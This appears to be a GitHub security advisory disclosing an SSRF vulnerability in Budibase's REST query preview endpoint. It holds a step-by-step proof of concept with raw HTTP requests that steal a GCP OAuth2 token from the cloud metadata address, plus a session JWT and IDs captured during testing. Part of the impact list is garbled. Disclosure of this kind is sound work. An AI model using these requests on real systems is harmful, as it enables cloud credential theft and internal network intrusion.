The REST datasource query preview endpoint (POST /api/queries/preview) makes server-side HTTP requests to any URL supplied by the user in fields.path with no validation. An authenticated admin can reach internal services that are not exposed to the internet — including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with cloud-platform scope (full GCP access). On any deployment it enables full internal network enumeration.
The vulnerable handler is in packages/server/src/api/controllers/query.ts (preview()). It reads fields.path from the request body and passes it directly to the REST HTTP client without any IP or hostname validation:
fields.path → RestClient.read({ path }) → node-fetch(path)
No blocklist exists for:
- Loopback (127.0.0.1, ::1)
- RFC 1918 ranges (10.x.x.x, 172.16-31.x.x, 192.168.x.x)
- Link-local / cloud metadata (169.254.x.x)
- Internal Kubernetes DNS (.svc.cluster.local)
The datasourceId field must reference an existing REST-type datasource. This is trivially obtained via GET /api/datasources (lists all datasources with their IDs) or created on-demand with a single POST — no base URL is required and fields.path overrides it entirely.
Step 1 — Get session token
POST /api/global/auth/default/login HTTP/1.1
Host: budibase.dev.com
Content-Type: application/json
{"username": "admin@example.com", "password": "password"}
Response sets Cookie: budibase:auth=<JWT>.
Step 2 — Get a REST datasourceId
GET /api/datasources HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
Pick any _id where "source": "REST".
Captured from this engagement:
- Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
- App ID: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
- REST datasource ID: datasource_49d5a1ed1c6149e48c4de0923e5b20c5
Step 3 — Send SSRF request
Change fields.path to any internal URL. Examples below.
3a. Cloud metadata — GCP OAuth2 token
POST /api/queries/preview HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
Content-Type: application/json
{
"datasourceId": "datasource_49d5a1ed1c6149e48c4de0923e5b20c5",
"name": "ssrf", "parameters": [], "transformer": "return data", "queryVerb": "read",
"fields": {
"path": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
"headers": {"Metadata-Flavor": "Google"},
"queryString": "", "requestBody": ""
},
"schema": {}
}
Response:
{"access_token": "ya29.d.c0AZ4bNpYDUK...", "expires_in": 3598, "token_type": "Bearer"}
What kind of vulnerability is it? Who is impacted? Any authenticated admin/builder user can make the Budibase server issue HTTP requests to any network-reachable address. Confirmed impact on this engagement:
cloud-platform scope stolen from 169.254.169.254. Token verified valid against GCP Projects API, granting full access to all GCP services in the project.budibase-svc-couchdb:5984 with extracted credentials, exposing all application data.minio-service:9000), Redis, and internal worker APIs (127.0.0.1:4002) all reachable.kubernetes.default.svc using the pod's mounted service account token.The vulnerability affects all deployment environments (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The specific impact depends on what services are reachable from the Budibase pod, but cloud metadata theft is possible on any cloud-hosted instance.
Detected by: Abdulrahman Albatel Abdullah Alrasheed
{
"severity": "HIGH",
"cwe_ids": [
"CWE-918"
],
"github_reviewed_at": "2026-03-18T20:22:11Z",
"github_reviewed": true,
"nvd_published_at": null
}